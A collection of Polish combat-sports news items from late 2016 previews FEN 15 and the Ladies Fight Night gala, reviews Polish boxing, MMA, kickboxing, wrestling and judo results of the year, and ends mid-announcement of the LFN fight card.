Dla 37-letniego Marcina Zontka, jednego z najbardziej doświadczonych polskich wojowników MMA, który m.in. zdobył tytuł mistrza brytyjskiej federacji Ultimate Cage Championships i walczył w rosyjskiej organizacji M-1 Global, będzie to już szósty występ w organizacji FEN. Dzięki czterem zwycięstwom z rzędu w pojedynkach z Krzysztofem Pietraszkiem, Maciejem Browarskim, TassiloLahrem i Arunasem Viliusem zawodnik klubu Contender Kamienna Góra na niedawnej gali FEN 12 Feel the Force otrzymał szansę sięgnięcia po tytuł mistrzowski w kategorii półciężkiej. Zontek ostatecznie pasa nie zdobył, ale jego zacięty, obfitujący w niesamowite zwroty akcji pięciorundowy bój z Przemysławem Mysialą z pewnością można zaliczyć do najlepszych walk mijającego roku w Polsce.

14 stycznia w Lubinie kibice obejrzą jeszcze pieć innych emocjonujących pojedynków na zasadach MMA:  Amerykanina Matt Horwicha z Filipem TomczakiemAlberta Odzimkowskiego z Oskarem SomerfeldemMichała Michalskiego z Kamilem GniadkiemMateusza Rębeckiego z Adamem Golonkiewiczem i Mateusza Głąba z Michałem Miłkiem. Wydarzeniem gali FEN 15 Final Strike będą dwa pojedynki o pasy mistrzowskie w formule K-1 – w walce wieczoru zmierzą się Paweł Biszczak i Wojciech Wierzbicki, a w drugim starciu o pierwszy kobiecy tytuł w historii federacji FEN walczyć będzie Róża Gumienna.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Hanna „Tyson” Gujwan zapowiada wojnę na RIZIN!

Za nami ceremonia ważenia przed Grand Prix Rizin w japońskiej Saitama Super Arena. Hanna Gujwan, zawodniczka Ladies Fight Night, jest w świetnej formie przed pojedynkiem z Reną Kubotą. W piątek uśmiechnięta stawała na wadze, bez problemu mieszcząc się w limicie wagowym. Hanna Gujwan (1-0-0) i Rena Kubota (2-0-0) zmieściły się w wymaganym przedziale wagowym. Hania ważyła dziś 48,7 kg i była 200g lżejsza niż jej przeciwniczka. Utalentowana zawodniczka LFN wygląda świetnie i jest pewna swego. „Jest wszystko ok, jestem po ważeniu i czuję się dobrze. Jutro będzie wojna!” – zapowiada Hanna „Tyson” Gujwan. Ladies Fight Night jest drugą po KSW organizacją, która może pochwalić się współpracą z japońską organizacją RIZIN Fighting Federation. Trzymajcie kciuki za zawodniczkę z Polski!

Co działo się w 2016 roku?

Wielkimi krokami zbliża się nowy rok. Czas zatem na podsumowanie minionych dwunastu miesięcy. W sportach walki 2016 rok obfitował w wiele emocjonujących pojedynków, wydarzeń, sukcesów, ale i porażek.

Za nami rok Igrzysk Olimpijskich, z który z medalem wróciła zapaśniczka Monika Michalik. Ponownie siłę na mistrzowskich imprezach pokazali nasi kickboxerzy. W świecie boksu szansę na pas w wadze ciężkiej miał Artur Szpilka. W 2016 roku nie mogliśmy narzekać na nudę. Co najbardziej utkwiło nam w pamięci?

BOKS

16 stycznia w Barclays Center w Nowym Jorku Artur Szpilka stanął przed szansą wywalczenia mistrzowskiego pasa WBC w wadze ciężkiej. Deontay Wilder to potężny bombardier, który odprawia kolejnych rywali. Szpilka zaczął odważnie, był aktywny i niepokoił Amerykanina, a ten cierpliwie czekał. W dziewiątej rundzie czempion kropnął niczym grom z jasnego nieba. Wilder wyprowadził prawy prosty, a Szpilka padł na deski i na noszach opuszczał ring. Warto dodać, że 25 lutego mistrz WBC spotka się z kolejnym Polakiem. Tym razem będzie to Andrzej Wawrzyk.

Z ringiem pożegnał się Tomasz Adamek. „Góral” zdobywał pasy mistrzowskie w kategoriach juniorciężkiej i półciężkiej, walczył o tytuł w ciężkiej. 2 kwietnia w Krakowie przegrał w 10. rundzie z Ericem Moliną. Z kolei we wrześniu z pasem mistrzowskim WBO kategorii junior ciężkiej pożegnał się Krzysztof Głowacki. Polak przegrał z Oleksandrem Usykiem.

Udany powrót na ring Krzysztofa Włodarczyka. W 2016 roku „Diablo” wygrał trzy walki i coraz częściej mówi się, że w perspektywie kolejnych miesięcy stoczy bój o pas mistrzowski. Ważnym wydarzeniem kończącego się roku jest zakontraktowanie hitowego starcia w wadze ciężkiej. 29 kwietnia na stadionie Wembley Anthony Joshua spotka się z Władimirem Kliczko.

MMA

Coraz lepiej w UFC radzi sobie Krzysztof Jotko. Polak rywalizujący w wadze średniej wygrał pięć kolejnych walk i zgłosił akces do walki o tytuł. W ostatnim występie, listopadowa gala w Sao Paulo (UFC Fight Night 100), Jotko pokonał Thalesa Leitesa.

Joanna Jędrzejczyk wyrosła na gwiazdę UFC i jedną z najbardziej rozpoznawalnych zawodniczek MMA. W listopadzie na gali UFC 205 doszło do starcia o mistrzostwo wagi słomkowej, w której zmierzyły się dwie Polki. Karolina Kowalkiewicz starała się odebrać pas Jędrzejczyk, ale bezskutecznie. 

Ogromne zainteresowanie wzbudziła walka Mariusza Pudzianowskiego z Pawłem Mikołajuwem podczas grudniowej gali KSW 37 w Krakowie. Atmosfera wokół pojedynku była gorąca. Raper „Popek” to postać kontrowersyjna. Po kilku latach zdecydował się na powrót do MMA, ale nie mógł być z siebie zadowolony. Pudzianowski potrzebował 80 sekund, aby odnieść zwycięstwo.

KICKBOXING

Z październikowych mistrzostw Europy w kickboxingu, które odbyły się w Mariborze Polacy przywieźli dwadzieścia medali. Rywalizacja odbywała się w formułach light contact, low kick oraz K-1. Po złote medale sięgnęli: Małgorzata Dymus (52kg), Paulina Jarzmik (60kg), Paulina Bieć (70kg), Leszek Jobs (weteran), Kamil Ruta (86kg), Dawid Kasperski (86kg) i Mateusz Pluta (91kg).

Z kolei w listopadzie nasi zawodnicy walczyli o medale w Loutraki w Grecji. Z mistrzostw Europy kick light, full contact i pointfighting Polacy przywieźli 16 medali, z czego trzy z najcenniejszego kruszcu. Sięgnęli po nie: Paulina Jarzmik (60kg), Katarzyna Kwiecień (70kg) i Mateusz Niżejewski (63kg).

ZAPASY

Z Rio de Janeiro olimpijski medal przywiozła Monika Michalik (63kg). 36-letnia zapaśniczka wywalczyła brąz. Igrzyska zaczęły się dla niej wręcz fatalnie. Michalik przegrała z Risako Kawai i musiała mocno ściskać kciuki za Japonkę. Ta dotarła do finału, co otworzyło Polce drzwi do rywalizacji w repasażach. Doświadczona Michalik wykorzystała szansę i po udanych repasażach, stanęła do rywalizacji o brąz, która zakończyła się po jej myśli.

W marcu mogliśmy cieszyć się z medali mistrzostw Europy w Rydze. Największą radość kibicom sprawił Magomiedmurad Gadżyjew (70kg), który zdobył złoto w stylu wolnym. Po srebro sięgnął Robert Baran (125kg). W finale stylu wolnego lepszy okazał się Geno Petriaszwili. Drugi wśród klasyków był Edgar Babayan (80kg), a Tadeusz Michalik (85kg) rywalizację zakończył na trzecim miejscu.

JUDO

W judo zabrakło medalu olimpijskiego, ale żeńska reprezentacja Polski kończy rok w dobrych humorach. Podopieczne Anety Szczepańskiej wywalczyły mistrzostwo Europy. W kwietniu w Kazaniu pozostawiły konkurencję w tyle. Finałowe starcie z Rosją biało-czerwone wygrały 3:2. Rok wcześniej Polki sięgnęły po wicemistrzostwo świata.

Z kolei męska kadra w Kazaniu sięgnęła po brąz mistrzostw Europy. Indywidualny sukces zanotował Piotr Kuczera (90kg), który stanął na trzecim stopniu podium.

Warto również odnotować dobrą postawę Polek podczas Pucharu Świata w Warszawie. W lutowych zawodach biało-czerwone okazały się bezkonkurencyjne i triumfowały w klasyfikacji medalowej.  Złote krążki zawisły na szyjach Arlety Podolak (57kg), Katarzyny Kłys (70kg) i Beaty Pacut (78kg). Z kolei Anna Borowska (57kg) sięgnęła po brąz.

WUSHU

W październiku pruszkowska hala Znicz zamieniła się w arenę zmagań mistrzostw świata taijiquan. Bohaterką polskiej kadry okazała się Anna Kubiak, która wywalczyła trzy medale (srebro i dwa brązowe) w konkurencjach sportowych. Pozostałe krążki biało-czerwoni zdobywali w formach demonstracyjnych. Łącznie Polska wywalczyła 13 medali.

KM

Ciężkie boje Polaków

Andrzej Wawrzyk stanie przed kolejną szansą na zdobycie mistrzowskiego pasa w wadze ciężkiej. Rywalem Polaka ma być czempion WBC Deontay Wilder. Do kolejnej walki szykuje się Artur Szpilka, a Mariusz Wach powalczy o mistrzostwo Europy z Agitem Kabayelem.

Polska nie miała nigdy mistrza świata w wadze ciężkiej. Kilkukrotnie próbował Andrzej Gołota, jednak bezskutecznie. Rady nie dali również Albert Sosnowski, Tomasz Adamek, Mariusz Wach i Artur Szpilka. Mistrzowską szansę miał Andrzej Wawrzyk, ale wypunktował go Aleksander Powietkin. Teraz Polak ma stanąć „oko w oko” z wielkim bombardierem – Deontayem Wilderem.

Kładzie kolejnych

25 lutego w Legancy Arena w Birmingham 31-letni „Bronze Bomber” stanie po raz piąty w obronie mistrzowskiego pasa WBC kategorii królewskiej. W ostatnim 31-letni Amerykanin wracał do zdrowia po kontuzji prawej ręki i bicepsa. Pięściarz przeszedł dwie operacje. Kontuzji doznał w starciu z Chrisem Arreolą i przez kilka rund walczył jedną ręką! Wilder odesłał kolejnego rywala z kwitkiem. Na głowę Arreoli spadło mnóstwo ciosów i po siódmej rundzie sztab „rzucił ręcznik”. Pół roku wcześniej mistrz WBC rozprawił się z Arturem Szpilką, który prezentował się dobrze, ale w dziewiątej rundzie potężny prawy Wildera powalił Polaka na ziemię. „Szpila” opuszczał ring na noszach.

Wilder będzie miał okazję spotkać się z kolejnym Polakiem. 25 lutego o sprawienie niespodzianki postara się Andrzej Wawrzyk. Dla 29-letniego boksera będzie to kolejna szansa na zdobycie tytułu mistrzowskiego. 17 maja 2013 roku w Moskwie Wawrzyk spotkał się z czempionem WBA Aleksandrem Powietkinem. Dla polskiego było to przykre doświadczenie. Wytrwał trzy rundy i aż trzy razy padał na deski. Była to jedyna porażka krakowianina w karierze. Od tamtej pory stoczył sześć pojedynków i wszystkie wygrał przed czasem.

Dla Wilder walka z Wawrzykiem ma być przystankiem na drodze do głównego celu, którym jest unifikacja mistrzowskich pasów wagi ciężkiej.

Kto dla Szpilki?

W kontekście kolejnego rywala Artura Szpilki pojawia się kilka nazwisk. Mówi się, że Polak może się spotkać z Chrisem Arreolą, Geraldem Washingtonem lub Dominicem Breazeale. Ten ostatni przyznał, że na początku przyszłego roku spotka się z Polakiem. Możliwe, że podczas gali w Legancy Arena w Birmingham. 

Szpilka wyleczył kontuzję lewej dłoni i w sierpniu wrócił do treningów. W kończącym się roku przeprowadził nieudany atak na pas WBC, przegrał przez nokaut z Wilderem. Polak szykuje się do powrotu na ring. Również Breazeale przeprowadził atak na tytuł, tyle że IBF. 31-latek w starciu z Anthony'm Joshuą wylądował na deskach w siódmej rundzie. Breazeale ma na koncie 17 zwycięstw, z czego 15 przed czasem.

Wach o mistrzostwo Europy

Mariusz Wach stanie przed szansą wywalczenia mistrzostwa Europy w wadze ciężkiej. 4 lutego w Magdeburgu polski bokser zmierzy się z Agitem Kabayelem.

24-letni reprezentant wygrał 15 pojedynków, żadnego nie przegrał. W czerwcu zdobył mistrzostwo Unii Europejskiej, pokonując Christiana Lewandowskiego. Z kolei Wach wrócił na ring po porażce z Aleksandrem Powietkinem w listopadzie 2015 roku i w Kędzierzynie Koźlu uporał się z Marcelo Luizem Nascimento.

KM

Cele i wyzwania nowego prezesa

Jacek Zawadka podziękował za zaufanie i wybór na stanowisko Prezesa Polskiego Związku Judo. Teraz nadszedł czas na stopniowe realizowanie złożonych obietnic.

Zawadka na stanowisku sternika polskiego judo zastąpił Sławomira Kownackiego, który nie ubiegał się o reelekcję. W decydującym boju pokonał Krzysztofa Wiłkomirskiego, który otrzymał 110 głosów. Zawadkę poparło dziewięciu delegatów więcej.

Liczy na współpracę

Wiadomo, że polskie judo potrzebuje sportowego sukcesu jak ryba wody. Liczono ma medal podczas Igrzysk Olimpijskich w Rio de Janeiro, jednak żadnemu z naszych czworga reprezentantów nie udało się znaleźć na podium. Prezes Zawadka liczy, że współpraca wyda pożądane. W otwartym liście podziękował za okazane zaufanie. – Serdeczne podziękowania kieruję w stronę delegatów-wyborców, moich współpracowników, a także kontrkandydatów. Będę czerpał z Waszych najlepszych, merytorycznych propozycji i pomysłów. Zapraszam do współpracy wszystkich, którym leży na sercu dobro polskiego judo, zarówno tych, którzy zdecydowali się na mnie głosować, jak i dotychczas sceptycznie nastawionych do mojego programu. Deklaruję otwartość na pomysły, sugestie, wskazówki – napisał Jacek Zawadka.

Już na początku pracy prezes musi radzić sobie z problemami. – Wstępna analiza matematyczna (potrzeba jeszcze księgowej) wskazuje na brak około 900 tysięcy złotych w kasie (dokładne informacje podamy wkrótce). Tę kwotę PZJudo musi spłacić do końca roku. Oznacza to, że na procedury, ukonstytuowanie zarządu, zaciągnięcie nowej pożyczki (i znalezienie pożyczkodawcy!) mamy jedynie kilka dni. To wyzwanie, któremu należy sprostać. Zatem idące konsekwencje to takie, że niestety finansowanie szkolenia centralnego w styczniu może być zagrożone. Doświadczenie w biznesie nauczyło mnie szybkiego reagowania na mniejsze i większe kryzysy. Początkowe trudności jedynie umocnią nas na przyszłość – czytamy w liście sternika Polskiego Związku Judo.

W czwartek, 22 grudnia, odbędzie się pierwsze spotkanie nowego zarządu PZJudo, w skład którego wchodzą: Adam Poździk, Tomasz Gadaj, Cezary Borzęcki, Juliusz Kowalczyk, Andrzej Jasiński, Jacek Biernat, Andrzej Falkiewicz, Józef Jopek, Zenon Mościński, Mariusz Radziewski.

Marzenia o medalu olimpijskim

Ten cel przewija się cały czas w polskim środowisku judo. Medal olimpijski miałby być impulsem i nadzieją na lepsze dni. W 1996 roku w Atlancie złoto olimpijskie wywalczył Paweł Nastula. Ciągle wracamy do tego sukcesu, ale nowej historii polskim judokom nie udaje się napisać.

W tym roku nie brakowało pozytywnych akcentów w polskim judo. Reprezentacja Polski kobiet wywalczyła mistrzostwo Europy, Piotr Kuczera sięgnął po brąz europejskiego czempionatu, a kilku naszych zawodników wygrywało międzynarodowe zawody. 

W kampanii wyborczej Zawadka zapowiadał, że chce stworzyć nowoczesny system szkolenia i przygotować odpowiednie warunki, które pozwolą wywalczyć medal olimpijski w Tokio w 2020 roku.

KM

Medalista igrzysk w Londynie czeka na debiut w MMA

Damian Janikowski ma być jedną z gwiazd gali KSW, która odbędzie się w maju przyszłego roku na stadionie PGE Narodowy w Warszawie. Dla 27-latka będzie to debiut w MMA.

W tym roku w sportowym życiu Damiana Janikowskiego doszło do wielu zmian. Zawodnik podjął decyzję o zakończeniu kariery zapaśniczej i zdecydował, że będzie rozwijał się w MMA. 27-latek związał się z federacją KSW.

Zapaśnicze medale

W ostatnich latach Damian Janikowski był jednym z najbardziej rozpoznawalnych zapaśników w kraju. Wszystko za sprawą brązowego medalu wywalczonego na Igrzyskach Olimpijskich w Londynie w 2012 roku. Bez wątpienia to największy sukces w karierze zawodnika z Wrocławia, który wielokrotnie zdobywał mistrzostwo Polski. Na swoim koncie zapisał również wicemistrzostwo świata (2011) oraz srebro (2012) i brąz (2014) mistrzostw Europy. Wspomniane sukcesy odnosił w stylu klasycznym.

Celem Janikowskiego był start na Igrzyskach Olimpijskich w Rio de Janeiro. Marzenia prysły niczym bańka mydlana. W kwietniu zapaśnik odpadł w pierwszej rundzie turnieju kwalifikacyjnego w Ułan Bator. Lepszy od Polaka okazał się Gruzin Robert Kobiaszwili. Wcześniej nie udało mu się wywalczyć przepustki podczas turnieju w Serbii. Można powiedzieć, że igrzyska przeszły Janikowskiemu koło nosa we wrześniu 2015 roku. Na mistrzostwach świata w Las Vegas zajął siódme miejsce, a kwalifikację uzyskało… sześciu najlepszych zawodników. 

W końcu Janikowski podjął decyzję o zakończeniu przygody z zapasami. Uzasadniał ją kolejnymi porażkami z zawodnikami, z którymi przegrywać nie powinien. Nie ukrywał, że kolejnym krokiem w jego karierze będzie MMA. W listopadzie br. podpisał kontrakt z KSW. Wiadomo, że w oktagonie zadebiutuje 27 maja 2017 roku na stadionie PGE Narodowy w Warszawie.

Kto jeszcze?

KSW powoli odsłania karty warszawskiej gali. Oprócz medalisty olimpijskiego z Londynu, na PGE Narodowym wystąpi mistrz wagi średniej Mamed Khalidov. 36-latek nie przegrał od ponad sześciu lat. Ostatnie zwycięstwo zanotował w starciu z Azizem Karaoglu, choć publiczność zgromadzona w gdańskiej Ergo Arenie nie była zachwycona poziomem walki.

W Warszawie zaprezentuje się również Mariusz Pudzianowski, który był jednym z bohaterów KSW 37. „Pudzian” szybko uporał się z raperem „Popkiem”. Na stadionie PGE Narodowy wystąpi nowy mistrz wagi ciężkiej KSW Fernando Rodrigues Jr. Podczas gali w Krakowie (KSW 37) Brazylijczyk odebrał pas Karolowi Bedorfowi. 29-latek udowodnił, że jest efektownym fighterem i w drugiej rundzie cieszył się ze zwycięstwa. Brazylijczyk stoczył dotychczas 13 walk, z czego tylko jedna zakończyła się decyzją sędziów. 

KM

Smutne pożegnanie Hopkinsa

51-letni Bernard Hopkins postanowił zakończyć przygodę z boksem. W hali sportowej The Forum w Inglewood najstarszy zdobywca tytułu mistrzowskiego w boksie przegrał z Joe Smithem Juniorem. Warto dodać, że na kalifornijskiej gali zaprezentował się Oleksandr Usyk, który obronił pas WBO w kategorii junior ciężkiej.

Hopkins nie raz udowodnił, że wiek nie stanowi przeszkód, aby rywalizować na najwyższym poziomie. Przez lata amerykański pięściarz był szczycie, zdobywał pasy mistrzowskie w dwóch kategoriach wagowych. Chciał odejść w chwale zwycięzcy, ale plany popsuł mu niedawny pogromca Andrzeja Fonfary – Joe Smith Jr. 

Kariera pełna sukcesów

Ciężka praca to fundament sukcesu, do którego osiągnięcia potrzebna jest również chłodna głowa. Bernard Hopkins zapisał się w historii boksu jako czempion dwóch kategorii wagowych oraz jako najstarszy zdobywca tytułu mistrzowskiego. 21 maja 2011 roku w Montrealu pokonał jednogłośnie na punkty Jeana Pascala i zdobył pas WBC wagi półciężkiej. Miał wtedy 46 lat i 126 dni. Co ciekawe, dwa lata później sam poprawił to osiągnięcie. W wieku 48 lat sięgnął po tytuł IBF wagi półciężkiej.

Pierwsze kroki na zawodowym ringu stawiał, gdy nikt nie myślał o „lajkowaniu” zdjęć w serwisach społecznościowych, a w Polsce trwał komunizm. Dla niektórych jest to nie do pomyślenia, więc patrzą na Hopkinsa, który debiutował 11 października 1988 roku w New Jersey jak na dinozaura. Amerykanin przegrał z Clintonem Mitchellem, ale później wygrał 22 kolejne walki. W 1995 roku sięgnął po tytuł mistrza świata IBF wagi średniej, do którego sześć lat później dołożył pasy WBC i WBA. Aż 20 razy skutecznie bronił tytułu mistrza świata! 

Następnie przeniósł się do wagi półciężkiej. W 2006 roku wygrał z Antonio Tarverem i zdobył tytuł mistrza świata The Ring oraz pasy IBO i NBA. Hopkins przełamywał bariery i pokazywał światu, że życie po „40-stce” jest możliwe. Wielu patrzyło na jego kolejne walki z przymrużeniem oka, jednak „Kat” robił swoje. W maju 2011 pokonał Jeana Pascala i zdobył pas WBC, dwa lata później wygrał z Tavorisem Cloud, co zaowocowało tytułem IBF. Ostatniej zdobyczy skutecznie bronił dwukrotnie –  z Karo Muratem i Bejbutem Szumenowem. Marsz Hopkinsa w listopadzie 2014 roku powstrzymał Siergiej Kowaliow.

Po dwóch latach przerwy, 51-letni były mistrz wagi średniej i półciężkiej wrócił, aby stoczyć pożegnalną walkę. 27-letni Joe Smith Jr. nie miał litości dla ikony boksu. Pogromca Andrzeja Fonfary odważnie ruszył do przodu, ale Hopkins w końcu doszedł do głosu i wykorzystywał swój prawy. W piątej rundzie nie brakowało bezpośrednich wymian. Smith Jr. naciskał, a Hopkins zaczął popełniać błędy. W ósmej rundzie 51-latek wylądował na deskach. Po lewym sierpowym Smith Jr., Hopkins osunął się i wylądował poza ringiem. Wielki mistrz zanotował ósmą porażkę w karierze. Z pewnością Hopkins inaczej wyobrażał sobie pożegnanie z ringiem. Mimo to, Amerykanin kończy karierę z podniesionym czołem. Nie raz pokonywał bariery i udowadniał, że sportowy sukces możliwy jest w każdym wieku.

Usyk obronił tytuł

W Inglewood zaprezentował się również Oleksandr Usyk, który we wrześniu w Gdańsku pokonał Krzysztofa Głowackiego i wywalczył pas WBO w wadze junior ciężkiej. 29-latek stanął do pierwszej obrony tytułu. Thabiso Mchunu starał się, ale był w stanie zagrozić wyższemu i lepiej przygotowanemu Usykowi. W szóstej rundzie pięściarz z RPA wylądował na deskach. Czas nie działał na korzyść Mchunu, który tracił siły. Wykorzystał to Usyk, który w dziewiątej rundzie podkręcił tempo. 28-letni Mchunu padł na deski i sędzia podjął decyzję o zakończeniu rywalizacji. 

Mistrz świata WBO wygrał jedenastą walkę w karierze.

KM

MMA na „stadionach”, panie w akcji

W świecie MMA ciekawych wydarzeń nie brakuje. Polscy miłośnicy mieszanych sztuk walki ostrzą sobie apetyty na majową galę KSW, która odbędzie się na stadionie PGE Narodowy w Warszawie. Coraz śmielej radzą sobie panie. 18 grudnia odbyła się już czwarta gala organizacji Ladies Fight Night.

Powiedzieć, że popularność MMA stale rośnie, to jakby nic nie powiedzieć. Z pewnością duża w tym zasługa dobrych występów polskich fighterów. Joanna Jędrzejczyk dzierży w dłoniach mistrzowski pas UFC w wadze słomkowej, która niedawno w walce o tytuł rywalizowała z Karoliną Kowalkiewicz. Z kolei Damian Grabowski i Marcin Tybura osiągali sukcesy w organizacji M-1 Global. Teraz próbują swoich sił w UFC. W kraju o efektywne pojedynki można podziwiać na galach KSW i FEN, zaś organizacji LFN promuje MMA w wersji kobiecej.

Z hali na stadion 

Jeszcze kilka tygodni temu wszyscy czekali na pojedynek Mariusza Pudzianowskiego i Pawła „Popka” Mikołajuwa. Starcie trwało zaledwie osiemdziesiąt sekund i zakończyło się zwycięstwem 39-letniego byłego mistrza świata strongman. Podczas krakowskiej gali mistrzowskie pasy stracili Karol Bedorf i Artur Sowiński, nowymi czempionami zostali Fernando Rodrigues Jr. oraz Marcin Wrzosek. KSW wyprowadza kolejny mocny cios, który ma wzbudzić zainteresowanie. 27 maja 2017 roku na stadionie PGE Narodowy w Warszawie odbędzie się kolejna gala organizacji Martina Lewandowskiego i Macieja Kawulskiego. W polskich warunkach to coś nowego, choć KSW posiada już doświadczenie w tym względzie.

31 października 2015 roku stadion Wembley zamienił się w arenę zmagań MMA. Gala KSW 32 była swego rodzaju przełomem i krokiem naprzód polskiej organizacji. Świadome budowanie marki, zwiększanie jej prestiżu oraz ekspansja produktu, a przede wszystkim ciekawe walki –  wszystkie założenia udało się zrealizować. W Londynie doszło do dwóch mistrzowskich walk, w których triumfowali: Tomasz Narkun i Borys Mańkowski. Wydarzeniem wieczoru był pojedynek Mariusza Pudzianowskiego i Petera Grahama, która zakończył się porażką Polaka.

Zdobyte doświadczenie KSW będzie chciała przekuć na polski grunt. Największy obiekt sportowy w kraju przemieni się w świątynię MMA. W związku z tym należy spodziewać się walk na najwyższym poziomie oraz ogromnej frekwencji. Kibice niecierpliwą się i czekają na nazwiska zawodników, którzy wystąpią w maju na PGE Narodowym. Na plakacie promującym wydarzenie pojawili się Mamed Khalidov i Mariusz Pudzianowski.

Kobiety w akcji

Ciekawą propozycją dla miłośników MMA i K-1 są gale Ladies Fight Night. Kolejną można było obserwować w sobotę 17 grudnia. W Karpaczu doszło do wielu emocjonujących i efektownych pojedynków. Ogromny potencjał okazała Agnieszka Niedźwiedź, która w walce wieczoru pokonała Samarę Santos Cunhę. Przed występem Polka miała problemy, bo nie zmieściła się w limicie wagowym i otrzymała karę finansową. W sobotę pokazała, że cała sytuacja nie wpłynęła na jej postawę w ringu. 

Od pierwszych minut Niedźwiedź naciskała na Santos. W drugiej rundzie założyła rywalce dźwignię na łokieć, jednak Brazylijka wyszła z opresji. Santos opadała z sił, a Niedźwiedź była naładowana i cały czas niepokoiła swoją rywalkę. W trzeciej rundzie skuteczne obalenie, Brazylijka przyjmowała kolejne ciosy i sędzia w końcu przerwał starcie.

Efektowne zakończenie walki w wykonaniu Celemence Schreiber. Zawodniczka z Francji wygrała przez duszenie zza pleców, Katarzyna Sadura musiała odklepać. Z kolei Martyna Czech już w pierwszej rundzie wygrała z Laurą Ciulkeviciute.

Na gali UFC on FOX 22 w Sacramento była mistrzyni organizacji Invicta Michelle Waterson szybko uporała się z Paige VanZant. W pierwszej rundzie wygrała poprzez duszenie zza pleców. Warto dodać, że w Sacramento ostatnią walkę w karierze stoczył Urijah Faber. Decyzją sędziów 37-latek wygrał Bradem Pickettem.

KM

Włodarczyk czeka na pas, Wilder na rywala

Krzysztof Włodarczyk ma nadzieję na walkę o pas wagi junior ciężkiej. „Diablo” został wyznaczony do turnieju eliminacyjnego, który wyłoni pretendenta do tytułu WBC. Na horyzoncie jest też walka eliminacyjna IBF. Można powiedzieć, że po zakontraktowaniu pojedynku, w którym zmierzą się Anthony Joshua i Władimir Kliczko waga ciężka nieco ożywiła się. Szykuje się prawdziwa uczta, na której efekty czeka Deontay Wilder. 

Trzy tegoroczne zwycięstwa Włodarczyka rozbudziły jego apetyt na walkę o wysoką stawkę. Okazuje się, że cel byłego mistrza świata wydaje się być na wyciągnięcie ręki.

Pojawiły się możliwości

35-letni bokser tegoroczne występy zakończył 10 grudnia we Wrocławiu, gdzie rozprawił się z Leonem Harthem. Walka rozczarowała, bo rywal stronił od wymian, a sam „Diablo” nie zachwycił. Zrobił jednak tyle, żeby sędziowie nie mieli żadnych wątpliwości, komu należy się zwycięstwo. Wcześniejsze dwa pojedynki Włodarczyk rozstrzygnął na swoją korzyść przed czasem.

Po półtorarocznej przerwie „Diablo” wrócił na ring, poczuł smak rywalizacji i nie było żadnych wątpliwości, że jest lepszy od rywali. Szybko pojawiły się głosy, że Włodarczyka stać na walkę o mistrzostwo świata. W przyszłym roku 35-letni pięściarz może spełnić marzenia. Prawdopodobnie Polak zmierzy się z Noelem Gevorem w walce eliminacyjnej o pas mistrza świata IBF. Takie rozwiązanie jest możliwe w związku z decyzją Marco Hucka, który spotka się z Mairisem Briedisem o WBC Interim. Jeśli Włodarczyk pokona Gevora, będzie miał szansę na pas IBF. Tytuł należy do Murata Gassijewa.

Ale to nie koniec. Przed Włodarczykiem otworzyła się jeszcze jedna furtka. Federacja WBC wyznaczyła Krzysztofa Włodarczyka do udziału w turnieju eliminacyjnym, który wyłoni pretendenta do tytułu mistrzowskiego. W zmaganiach mają wziąć udział także: Dmitrij Kudriaszow, Olanrewaju Durodola (niedoszły rywal Polaka) oraz Ilunga Makabu. Warto przypomnieć, że Tony Bellew, czempion WBC, zdecydował się przejść do wagi ciężkiej. 4 marca zmierzy się z Davidem Hayem.

Bilety czekają

Przeskoczmy do wagi ciężkiej. 29 kwietnia na stadionie Wembley dojdzie do hitowego starcia, w którym rękawice skrzyżują Anthony Joshua i Władimir Kliczko. Zapowiada się starcie młodego, niezwykle utalentowanego boksera z żywą legendą ringu. Joshua jeszcze nigdy nie przegrał i wszystkie pojedynki wygrał przed czasem. Z kolei Kliczko po raz ostatni walczył w listopadzie 2015 roku, kiedy przegrał z Tysonem Fury'm. Ten niedawno popadł w tarapaty, gdyż na światło dzienne wyszły jego problemy z używkami.

Na stadionie Wembley walkę będzie mogło obejrzeć 90 tys. kibiców. Pierwsza tura biletów ruszy już 16 grudnia. Wszyscy przewidują, że wejściówki rozejdą się niczym świeże bułeczki. Kolejnej tury należy spodziewać się w styczniu. Ceny biletów od 40 do 2 tys. funtów.

Na rozstrzygnięcie hitowego pojedynku czeka Deontay Wilder. Czempion WBC zapowiada, że będzie chciał spotkać się ze zwycięzcą wspomnianego starcia. Ostatnio Wilder pauzował z powodu kontuzji ręki. Kolejną walkę ma stoczyć w pierwszym kwartale 2017 roku. Dotychczas czterokrotnie bronił mistrzowskiego tytułu, zawsze zwyciężał przed czasem.

KM

Zestawienie walk na gali LFN „Fortuna Dies Natalis”!

 

I już prawie wszystko jasne. Podczas gali LFN „Fortuna Dies Natalis” swoje ringowe boje stoczy 18 zawodniczek z Polski, Niemiec, Czech, Finlandii, Francji, Litwy a nawet z dalekiej Brazylii. To zacne międzynarodowe towarzystwo skonfrontuje swoje umiejętności, talent oraz hart ducha w pięciu pojedynkach w formule MMA oraz w czterech w formule K-1. W pięknej zimowej scenerii, u stóp Śnieżki, na jubileuszowej gali organizacji Ladies Fight Night nie zabraknie wielu gwiazd LFN jak  Monika Bohn, Patrycja Krawczyk, Katarzyna Posiadała i Weronika Zygmunt. W walce wieczoru dojdzie do pojedynku pomiędzy Agnieszką Niedźwiedź a Samarą Santos Cunha.

Agnieszka Niedźwiedź to najlepsza polska zawodniczka MMA w wadze muszej oraz czołowa fighterka organizacji Invicta FC. Jej przeciwniczka, Brazylijka Samara Santos Cuhna ma świetny bilans 10-1-1, a ponadto jest „na fali” gdyż w czterech ostatnich pojedynkach odprawiała swoje rywalki w pierwszych rundach. Możemy spodziewać się twardej i wyrównanej potyczki na bardzo wysokim poziomie.

Gale Ladies Fight Night to nie tylko ringowe walki, publiczność dodatkowo rozgrzeją występy artystyczne. A muzycznymi gwiazdami wieczoru będą Sobota oraz Rena.

Galę poprowadzą niezawodni Łukasz „Juras” Jurkowski oraz Krzysztof „Jankes” Jankowski.

Na widowni nie zabraknie znanych i lubianych gości ze świata sportu, filmu i nie tylko jak np. Patryk Vega, Piotr Stramowski, Tomasz Oświeciński, Mikołaj Krawczyk, Bracia Collins, Ewa Lubert, Katarzyna Lubońska, Karolina Kowalkiewicz, Paweł Pawlak, Marcin Wrzosek, Kamil Szymuszowski, Bartek Kurczewski, Łukasz Zaborowski.

A transmisja live gali do obejrzenia już 17 grudnia od godz. 19.00 na naszej stronie internetowej oraz na facebooku organizacji. Kometować będą Piotr Strus oraz Artur „Kornik” Sowiński.

 

A w kolejnych starciach wieczoru zmierzą się:

